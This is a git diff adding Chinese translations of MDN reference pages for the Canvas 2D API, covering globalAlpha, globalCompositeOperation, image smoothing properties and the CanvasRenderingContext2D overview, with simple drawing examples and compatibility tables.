{{ EmbedLiveSample('Examples', "100%", 180) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-gettransform", "CanvasRenderingContext2D.getTransform")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.getTransform")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/globalalpha/index.html new file mode 100644 index 0000000000..a12923f33f --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/globalalpha/index.html @@ -0,0 +1,217 @@ +--- +title: CanvasRenderingContext2D.globalAlpha +slug: Web/API/CanvasRenderingContext2D/globalAlpha +translation_of: Web/API/CanvasRenderingContext2D/globalAlpha +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.globalAlpha 是 Canvas 2D API 用来描述在canvas上绘图之前,设置图形和图片透明度的属性。 数值的范围从 0.0 (完全透明)到1.0 (完全不透明)。

+ +

在 Canvas Tutorial 中参见 Applying styles and color 章节。

+ +

语法

+ +
ctx.globalAlpha = value;
+
+ +

选项

+ +
+
value
+
数字在 0.0  (完全透明)和 1.0 (完全不透明)之间。 默认值是 1.0。 如果数值不在范围内,包括{{jsxref("Infinity")}} 和{{jsxref("NaN")}} ,无法赋值,并且 globalAlpha 会保持原有的数值。
+
+ +

示例

+ +

使用 globalAlpha 属性

+ +

这是一段使用 globalAlpha 属性的简单代码片段,绘制了2个半透明的矩形。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.globalAlpha = 0.5;
+
+ctx.fillStyle = "blue";
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = "red";
+ctx.fillRect(50, 50, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 380) }}

+ +

globalAlpha 例子

+ +

此例中, 绘制了4个不同背景色的正方形。 在他们上面,绘制半透明的圆形。 将那个点绘制的所有图形的 globalAlpha 属性值都设置为0.2。通过 for 循环绘制半径逐渐增大的圆形。 最终形成的结果是放射性渐变。通过不停地叠加圆形, 使得先前绘制的圆形的透明度越来越暗。通过增加循环数量绘制更多的圆形,图片中心的背景将会变成完全不透明。

+ +
var ctx = document.getElementById('canvas').getContext('2d');
+
+// draw background
+ctx.fillStyle = '#FD0';
+ctx.fillRect(0,0,75,75);
+ctx.fillStyle = '#6C0';
+ctx.fillRect(75,0,75,75);
+ctx.fillStyle = '#09F';
+ctx.fillRect(0,75,75,75);
+ctx.fillStyle = '#F30';
+ctx.fillRect(75,75,75,75);
+ctx.fillStyle = '#FFF';
+
+// set transparency value
+ctx.globalAlpha = 0.2;
+
+// Draw semi transparent circles
+for (i=0;i<7;i++){
+  ctx.beginPath();
+  ctx.arc(75,75,10+10*i,0,Math.PI*2,true);
+  ctx.fill();
+}
+
+ + + +

{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Gecko-specific 注解

+ + + + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html new file mode 100644 index 0000000000..47544ad6e2 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/globalcompositeoperation/index.html @@ -0,0 +1,143 @@ +--- +title: CanvasRenderingContext2D.globalCompositeOperation +slug: Web/API/CanvasRenderingContext2D/globalCompositeOperation +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/globalCompositeOperation +--- +
{{APIRef}}
+ +

Canvas 2D API的 CanvasRenderingContext2D.globalCompositeOperation  属性设置要在绘制新形状时应用的合成操作的类型,其中type是用于标识要使用的合成或混合模式操作的字符串。

+ +

在 Canvas Tutorial 中查看 Compositing 章节。

+ +

语法

+ +
ctx.globalCompositeOperation = type;
+ +

类型

+ +

{{EmbedLiveSample("合成示例", 750, 6750, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}

+ +

示例

+ +

使用 globalCompositeOperation 属性

+ +

这是一段使用 globalCompositeOperation 属性的简单的代码片段,绘制了2个矩形在重叠时相互排斥的情况。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.globalCompositeOperation = "xor";
+
+ctx.fillStyle = "blue";
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = "red";
+ctx.fillRect(50, 50, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 380) }}

+ +

规范描述

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalcompositeoperation", "CanvasRenderingContext2D.globalCompositeOperation")}}{{Spec2('HTML WHATWG')}}
{{SpecName('Compositing')}}{{Spec2('Compositing')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.globalCompositeOperation")}}

+ + + + + +

Gecko-specific 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html new file mode 100644 index 0000000000..db037d2335 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html @@ -0,0 +1,142 @@ +--- +title: CanvasRenderingContext2D.imageSmoothingEnabled +slug: Web/API/CanvasRenderingContext2D/imageSmoothingEnabled +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/imageSmoothingEnabled +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.imageSmoothingEnabled 是 Canvas 2D API 用来设置图片是否平滑的属性,true表示图片平滑(默认值),false表示图片不平滑。当我们获取 imageSmoothingEnabled 属性值时, 它会返回最新设置的值。

+ +

 以缩放画布为例,这个属性对像素为主的游戏很有用。默认的改变大小的算法会造成图片模糊并且破坏图片原有的像素。 如果那样的话,设置属性值为false。 参见 CSS {{cssxref("image-rendering")}} 属性。

+ +
+

注意:您可以使用{{domxref("CanvasRenderingContext2D.imageSmoothingQuality", "imageSmoothingQuality")}}属性来调整平滑质量。

+
+ +

语法

+ +
ctx.imageSmoothingEnabled = value;
+ +

选项

+ +
+
value
+
一个{{jsxref("Boolean")}} 类型的值,表示图片是否平滑。
+
+ +

示例

+ +

使用 imageSmoothingEnabled 属性

+ +

本示例比较了三个图像。 第一个图像以其自然大小绘制,第二个图像缩放为3倍并启用了图像平滑,而第三个图像缩放为3倍但禁用了图像平滑。

+ +

HTML

+ +
<canvas id="canvas" width="460" height="210"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+
+const ctx = canvas.getContext('2d');
+ctx.font = '16px sans-serif';
+ctx.textAlign = 'center';
+
+const img = new Image();
+img.src = 'https://interactive-examples.mdn.mozilla.net/media/examples/star.png';
+img.onload = function() {
+  const w = img.width,
+        h = img.height;
+
+  ctx.fillText('Source', w * .5, 20);
+  ctx.drawImage(img, 0, 24, w, h);
+
+  ctx.fillText('Smoothing = TRUE', w * 2.5, 20);
+  ctx.imageSmoothingEnabled = true;
+  ctx.drawImage(img, w, 24, w * 3, h * 3);
+
+  ctx.fillText('Smoothing = FALSE', w * 5.5, 20);
+  ctx.imageSmoothingEnabled = false;
+  ctx.drawImage(img, w * 4, 24, w * 3, h * 3);
+};
+
+ + + +

结果

+ +

{{ EmbedLiveSample('Disabling_image_smoothing', 700, 240) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-imagesmoothingenabled", "CanvasRenderingContext2D.imageSmoothingEnabled")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.imageSmoothingEnabled")}}

+ +
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingquality/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingquality/index.html new file mode 100644 index 0000000000..fe8fee4b4b --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/imagesmoothingquality/index.html @@ -0,0 +1,182 @@ +--- +title: CanvasRenderingContext2D.imageSmoothingQuality +slug: Web/API/CanvasRenderingContext2D/imageSmoothingQuality +tags: + - API + - Canvas + - CanvasRenderingContext2D + - imageSmoothingQuality + - 图像平滑度 +translation_of: Web/API/CanvasRenderingContext2D/imageSmoothingQuality +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.imageSmoothingQuality 是 Canvas 2D API, 用于设置图像平滑度的属性。

+ +

语法

+ +
ctx.imageSmoothingQuality = value
+value = ctx.imageSmoothingQuality
+ +

选项

+ +
+
value
+
"low","medium","high"
+
+ +

示例

+ +

使用 imageSmoothingQuality 属性

+ +

这是一段简单的代码片段,对缩放的图片使用 imageSmoothingQuality 属性。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+img.onload = function() {
+ ctx.mozImageSmoothingEnabled = false;
+ ctx.imageSmoothingQuality = "Medium";
+ ctx.webkitImageSmoothingEnabled = false;
+ ctx.msImageSmoothingEnabled = false;
+ ctx.imageSmoothingEnabled = false;
+ ctx.drawImage(img, 0, 0, 400, 200);
+};
+ +

编辑下面代码,在线查看 Canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 400) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#imagesmoothingquality", "imageSmoothingQuality")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(41)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(41)}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/index.html new file mode 100644 index 0000000000..3a428f8f85 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/index.html @@ -0,0 +1,451 @@ +--- +title: CanvasRenderingContext2D +slug: Web/API/CanvasRenderingContext2D +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D +--- +

{{APIRef}}

+ +

CanvasRenderingContext2D接口是Canvas API的一部分,可为{{HTMLElement("canvas")}}元素的绘图表面提供2D渲染上下文。 它用于绘制形状,文本,图像和其他对象。

+ +

请参阅侧边栏和下方的界面属性和方法。 Canvas教程提供了更多的信息,例子和资源

+ +

基础示例

+ +

要获得CanvasRenderingContext2D 实例,您必须首先具有HTML <canvas>元素才能使用:

+ +
<canvas id="my-house" width="300" height="300"></canvas>
+
+ +

要获取画布的2D渲染上下文,请在<canvas>元素上调用{{domxref("HTMLCanvasElement.getContext()", "getContext()")}},并提供'2d'作为参数:

+ +
const canvas = document.getElementById('my-house');
+const ctx = canvas.getContext('2d');
+
+ +

有了上下文,您就可以绘制任何喜欢的东西。 此代码绘制了一个房子:

+ +
// Set line width
+ctx.lineWidth = 10;
+
+// Wall
+ctx.strokeRect(75, 140, 150, 110);
+
+// Door
+ctx.fillRect(130, 190, 40, 60);
+
+// Roof
+ctx.beginPath();
+ctx.moveTo(50, 140);
+ctx.lineTo(150, 60);
+ctx.lineTo(250, 140);
+ctx.closePath();
+ctx.stroke();
+
+ +

生成的图形如下所示:

+ + + +

{{EmbedLiveSample('Basic_example', 700, 330)}}

+ +

绘制矩形

+ +

以下是3个绘制矩形位图的方法。

+ +

{{domxref("CanvasRenderingContext2D.clearRect()")}}

+ +
+
设置指定矩形区域内(以 点 (x, y) 为起点,范围是(width, height) )所有像素变成透明,并擦除之前绘制的所有内容。
+
{{domxref("CanvasRenderingContext2D.fillRect()")}}
+
绘制填充矩形,矩形的起点在 (x, y) 位置,矩形的尺寸是 width 和 height 
+
{{domxref("CanvasRenderingContext2D.strokeRect()")}}
+
在 canvas 中,使用当前的笔触样式,描绘一个起点在 (x, y) 、宽度为 w 、高度为 h 的矩形。
+
+ +

绘制文本

+ +

下面是绘制文本的方法。 参见 {{domxref("TextMetrics")}} 对象获取文本属性。

+ +
+
{{domxref("CanvasRenderingContext2D.fillText()")}}
+
在(x,y)位置绘制(填充)文本。
+
{{domxref("CanvasRenderingContext2D.strokeText()")}}
+
在(x,y)位置绘制(描边)文本。
+
{{domxref("CanvasRenderingContext2D.measureText()")}}
+
返回 {{domxref("TextMetrics")}} 对象。
+
+ +

线型

+ +

下面的方法和属性控制如何绘制线。

+ +
+
{{domxref("CanvasRenderingContext2D.lineWidth")}}
+
线的宽度。默认 1.0
+
{{domxref("CanvasRenderingContext2D.lineCap")}}
+
线末端的类型。 允许的值: butt (默认), roundsquare.
+
{{domxref("CanvasRenderingContext2D.lineJoin")}}
+
定义两线相交拐点的类型。允许的值:roundbevelmiter(默认)。
+
{{domxref("CanvasRenderingContext2D.miterLimit")}}
+
斜接面限制比例。默认 10。
+
{{domxref("CanvasRenderingContext2D.getLineDash()")}}
+
返回当前线段样式的数组,数组包含一组数量为偶数的非负数数字。
+
{{domxref("CanvasRenderingContext2D.setLineDash()")}}
+
设置当前的线段样式。
+
{{domxref("CanvasRenderingContext2D.lineDashOffset")}}
+
描述在哪里开始绘制线段。
+
+ +

文本样式

+ +

下面的属性控制如何设计文本。

+ +
+
{{domxref("CanvasRenderingContext2D.font")}}
+
字体设置。 默认值 10px sans-serif。
+
{{domxref("CanvasRenderingContext2D.textAlign")}}
+
文本对齐设置。 允许的值: start (默认), endleftright 或 center.
+
{{domxref("CanvasRenderingContext2D.textBaseline")}}
+
基线对齐设置。 允许的值: tophangingmiddlealphabetic (默认),ideographicbottom.
+
{{domxref("CanvasRenderingContext2D.direction")}}
+
文本的方向。 允许的值: ltr, rtlinherit (默认).
+
+ +

填充和描边样式

+ +

填充设计用于图形内部的颜色和样式,描边设计用于图形的边线。

+ +
+
{{domxref("CanvasRenderingContext2D.fillStyle")}}
+
图形内部的颜色和样式。 默认 #000 (黑色).
+
{{domxref("CanvasRenderingContext2D.strokeStyle")}}
+
图形边线的颜色和样式。 默认 #000 (黑色).
+
+ +

渐变和图案

+ +
+
{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}
+
创建一个沿着参数坐标指定的线的线性渐变。
+
{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}
+
创建一个沿着参数坐标指定的线的放射性性渐变。
+
{{domxref("CanvasRenderingContext2D.createPattern()")}}
+
使用指定的图片 (a {{domxref("CanvasImageSource")}})创建图案。通过 repetition 变量指定的方向上重复源图片。此方法返回 {{domxref("CanvasPattern")}}对象。
+
+ +

阴影

+ +
+
{{domxref("CanvasRenderingContext2D.shadowBlur")}}
+
描述模糊效果。 默认 0
+
{{domxref("CanvasRenderingContext2D.shadowColor")}}
+
阴影的颜色。 默认fully-transparent black.
+
{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}
+
阴影水平方向的偏移量。 默认 0.
+
{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}
+
阴影垂直方向的偏移量。 默认 0.
+
+ +

路径

+ +

下面的方法用来操作对象的路径。

+ +
+
{{domxref("CanvasRenderingContext2D.beginPath()")}}
+
清空子路径列表开始一个新的路径。当你想创建一个新的路径时,调用此方法。
+
{{domxref("CanvasRenderingContext2D.closePath()")}}
+
使笔点返回到当前子路径的起始点。它尝试从当前点到起始点绘制一条直线。如果图形已经是封闭的或者只有一个点,那么此方法不会做任何操作。
+
{{domxref("CanvasRenderingContext2D.moveTo()")}}
+
将一个新的子路径的起始点移动到(x,y)坐标。
+
{{domxref("CanvasRenderingContext2D.lineTo()")}}
+
使用直线连接子路径的最后的点到x,y坐标。
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}
+
添加一个3次贝赛尔曲线路径。该方法需要三个点。 第一、第二个点是控制点,第三个点是结束点。起始点是当前路径的最后一个点,绘制贝赛尔曲线前,可以通过调用 moveTo() 进行修改。
+
{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}
+
添加一个2次贝赛尔曲线路径。
+
{{domxref("CanvasRenderingContext2D.arc()")}}
+
绘制一段圆弧路径, 圆弧路径的圆心在 (x, y) 位置,半径为 r ,根据anticlockwise (默认为顺时针)指定的方向从 startAngle 开始绘制,到 endAngle 结束。
+
{{domxref("CanvasRenderingContext2D.arcTo()")}}
+
根据控制点和半径绘制圆弧路径,使用当前的描点(前一个moveTo或lineTo等函数的止点)。根据当前描点与给定的控制点1连接的直线,和控制点1与控制点2连接的直线,作为使用指定半径的圆的切线,画出两条切线之间的弧线路径。
+
{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}
+
添加一个椭圆路径,椭圆的圆心在(x,y)位置,半径分别是radiusX 和 radiusY ,按照anticlockwise (默认顺时针)指定的方向,从 startAngle  开始绘制,到 endAngle 结束。
+
{{domxref("CanvasRenderingContext2D.rect()")}}
+
创建一个矩形路径,矩形的起点位置是 (x, y) ,尺寸为 width 和 height
+
+ +

绘制路径

+ +
+
{{domxref("CanvasRenderingContext2D.fill()")}}
+
使用当前的样式填充子路径。
+
{{domxref("CanvasRenderingContext2D.stroke()")}}
+
使用当前的样式描边子路径。
+
{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}
+
如果给定的元素获取了焦点,那么此方法会在当前的路径绘制一个焦点。
+
{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}
+
将当前或给定的路径滚动到窗口。
+
{{domxref("CanvasRenderingContext2D.clip()")}}
+
从当前路径创建一个剪切路径。在  clip() 调用之后,绘制的所有信息只会出现在剪切路径内部。例如: 参见 Canvas教程中的 剪切路径 。
+
{{domxref("CanvasRenderingContext2D.isPointInPath()")}}
+
判断当前路径是否包含检测点。
+
{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}
+
判断检测点是否在路径的描边线上。
+
+ +

变换

+ +

CanvasRenderingContext2D 渲染背景中的对象会有一个当前的变换矩阵,一些方法可以对其进行控制。当创建当前的默认路径,绘制文本、图形和{{domxref("Path2D")}}对象的时候,会应用此变换矩阵。下面列出的方法保持历史和兼容性的原因,是为了{{domxref("SVGMatrix")}}对象现在能够应用于大部分 API ,将来会被替换。

+ +
+
{{domxref("CanvasRenderingContext2D.currentTransform")}}
+
当前的变换矩阵 ({{domxref("SVGMatrix")}} 对象)。
+
{{domxref("CanvasRenderingContext2D.rotate()")}}
+
在变换矩阵中增加旋转,角度变量表示一个顺时针旋转角度并且用弧度表示。
+
{{domxref("CanvasRenderingContext2D.scale()")}}
+
根据 x 水平方向和 y 垂直方向,为canvas 单位添加缩放变换。
+
{{domxref("CanvasRenderingContext2D.translate()")}}
+
通过在网格中移动 canvas 和 canvas 原点 x 水平方向、原点 y 垂直方向,添加平移变换
+
{{domxref("CanvasRenderingContext2D.transform()")}}
+
使用方法参数描述的矩阵多次叠加当前的变换矩阵。
+
{{domxref("CanvasRenderingContext2D.setTransform()")}}
+
重新设置当前的变换为单位矩阵,并使用同样的变量调用 transform() 方法。
+
{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}
+
使用单位矩阵重新设置当前的变换。
+
+ +

合成

+ +
+
{{domxref("CanvasRenderingContext2D.globalAlpha")}}
+
在合成到 canvas 之前,设置图形和图像透明度的值。默认 1.0 (不透明)。
+
{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}
+
通过 globalAlpha 应用,设置如何在已经存在的位图上绘制图形和图像。
+
+ +

绘制图像

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage()")}}
+
绘制指定的图片。该方法有多种格式,提供了很大的使用灵活性。
+
+ +

像素控制

+ +

参见 {{domxref("ImageData")}} 对象。

+ +
+
{{domxref("CanvasRenderingContext2D.createImageData()")}}
+
使用指定的尺寸,创建一个新的、空白的 {{domxref("ImageData")}} 对象。所有的像素在新对象中都是透明的。
+
{{domxref("CanvasRenderingContext2D.getImageData()")}}
+
返回一个 {{domxref("ImageData")}} 对象,用来描述canvas区域隐含的像素数据,这个区域通过矩形表示,起始点为(sx, sy)、宽为sw、高为sh
+
{{domxref("CanvasRenderingContext2D.putImageData()")}}
+
将数据从已有的 {{domxref("ImageData")}} 绘制到位图上。 如果提供了脏矩形,只能绘制矩形的像素。 
+
+ +

图像平滑

+ +
+
{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}
+
图像平滑的方式;如果禁用,缩放时,图像不会被平滑处理。
+
+ +

canvas 状态

+ +

CanvasRenderingContext2D渲染环境包含了多种绘图的样式状态(属性有线的样式、填充样式、阴影样式、文本样式)。下面的方法会帮助你使用这些状态:

+ +
+
{{domxref("CanvasRenderingContext2D.save()")}}
+
使用栈保存当前的绘画样式状态,你可以使用 restore() 恢复任何改变。
+
{{domxref("CanvasRenderingContext2D.restore()")}}
+
恢复到最近的绘制样式状态,此状态是通过 save() 保存到”状态栈“中最新的元素。
+
{{domxref("CanvasRenderingContext2D.canvas")}}
+
对 {{domxref("HTMLCanvasElement")}} 只读的反向引用。如果和 {{HTMLElement("canvas")}} 元素没有联系,可能为{{jsxref("null")}}。
+
+ +

点击区域

+ +
+
{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}
+
给 canvas 添加点击区域。
+
{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}
+
从 canvas 中删除指定 id  的点击区域。
+
{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}
+
从 canvas 中删除所有的点击区域。
+
+ +

不标准的 APIs

+ +

临时的和 WebKit 内核

+ +

很多 APIs  不赞成使用并且将来会被删除

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.clearShadow()
+
删除所有的阴影设置,例如 {{domxref("CanvasRenderingContext2D.shadowColor")}} 和{{domxref("CanvasRenderingContext2D.shadowBlur")}}。
+
{{non-standard_inline}} CanvasRenderingContext2D.drawImageFromRect()
+
这是一个和 drawImage 相等的多余的方法。
+
{{non-standard_inline}} CanvasRenderingContext2D.setAlpha()
+
使用{{domxref("CanvasRenderingContext2D.globalAlpha")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setCompositeOperation()
+
使用{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setLineWidth()
+
使用{{domxref("CanvasRenderingContext2D.lineWidth")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setLineJoin()
+
使用{{domxref("CanvasRenderingContext2D.lineJoin")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setLineCap()
+
使用{{domxref("CanvasRenderingContext2D.lineCap")}}替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setMiterLimit()
+
使用{{domxref("CanvasRenderingContext2D.miterLimit")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setStrokeColor()
+
使用{{domxref("CanvasRenderingContext2D.strokeStyle")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setFillColor()
+
使用{{domxref("CanvasRenderingContext2D.fillStyle")}}替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.setShadow()
+
私用{{domxref("CanvasRenderingContext2D.shadowColor")}} 和{{domxref("CanvasRenderingContext2D.shadowBlur")}} 替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitLineDash
+
使用{{domxref("CanvasRenderingContext2D.getLineDash()")}} 和{{domxref("CanvasRenderingContext2D.setLineDash()")}}替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitLineDashOffset
+
使用{{domxref("CanvasRenderingContext2D.lineDashOffset")}}替代。
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitImageSmoothingEnabled
+
使用{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} 替代。
+
+ +

仅是临时的

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.getContextAttributes()
+
WebGLRenderingContext 方法的启发,该方法会返回一个 Canvas2DContextAttributes 对象。在 canvas 中,这个对象包含属性”storage“,表示存储器的应用(默认”persistent“);属性”alpha“,表示透明度的应用(默认 true)。
+
{{non-standard_inline}} CanvasRenderingContext2D.isContextLost()
+
受 WebGLRenderingContext 方法的启发,如果 Canvas 上下文丢失了,会返回 true ,否则返回 false 。
+
+ +

WebKit 特有的

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitBackingStorePixelRatio
+
关于 canvas 元素可支持存储的大小。参见 High DPI Canvas
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitGetImageDataHD
+
原本打算支持存储 HD ,但是从 canvas 规范中删除了。
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitPutImageDataHD
+
原本打算支持存储 HD ,但是从 canvas 规范中删除了。
+
+ +
+
+ +

Gecko 特有的

+ +
+
{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}
+
CSS 和 SVG 滤镜 作为 Canvas APIs。 可能在新版本的规范中会标准化。
+
+ +

有前缀的 APIs

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.mozCurrentTransform
+
设置或获取当前的变换矩阵, 参见{{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}
+
{{non-standard_inline}} CanvasRenderingContext2D.mozCurrentTransformInverse
+
设置或获取当前翻转的变换矩阵。  {{ gecko_minversion_inline("7.0") }}
+
{{non-standard_inline}} CanvasRenderingContext2D.mozFillRule
+
应用的 填充规则 。 必须是 evenodd 或者 nonzero (默认)。
+
{{non-standard_inline}} CanvasRenderingContext2D.mozImageSmoothingEnabled
+
参见 {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.
+
{{non-standard_inline}} {{deprecated_inline}} CanvasRenderingContext2D.mozDash
+
描述相互交替的线段和间距长度的数组 {{ gecko_minversion_inline("7.0") }}。 使用 {{domxref("CanvasRenderingContext2D.getLineDash()")}} 和 {{domxref("CanvasRenderingContext2D.setLineDash()")}} 替代。
+
{{non-standard_inline}} {{deprecated_inline}} CanvasRenderingContext2D.mozDashOffset
+
描述线段数组在线上从哪里开始。 {{ gecko_minversion_inline("7.0") }}。 使用 {{domxref("CanvasRenderingContext2D.lineDashOffset")}} 替代。
+
{{non-standard_inline}} {{deprecated_inline}} CanvasRenderingContext2D.mozTextStyle
+
在 Gecko 1.9 中引入, 不赞成使用的 {{domxref("CanvasRenderingContext2D.font")}} 属性。
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozDrawText()
+
这个方法在 Gecko 1.9 中引入,从 Gecko 7.0. 开始删除。 使用 {{domxref("CanvasRenderingContext2D.strokeText()")}} 或者 {{domxref("CanvasRenderingContext2D.fillText()")}} 替代。
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozMeasureText()
+
这个方法在 Gecko 1.9 中引入, 从 Gecko 7.0. 开始未实现。 使用 {{domxref("CanvasRenderingContext2D.measureText()")}} 替代。
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozPathText()
+
这个方法在 Gecko 1.9 中引入,从 Gecko 7.0. 开始删除。
+
{{non-standard_inline}} {{obsolete_inline}}CanvasRenderingContext2D.mozTextAlongPath()
+
这个方法在 Gecko 1.9 中引入,从 Gecko 7.0. 开始删除。
+
+ +

内部的 APIs (chrome-context 特有的)

+ +
+
{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}
+
canvas 内渲染一个 XUL 元素的区域。
+
{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}
+
在 canvas 内渲染一个窗口的区域。窗口可视区的内容被渲染,忽略窗口的剪切和滚动。
+
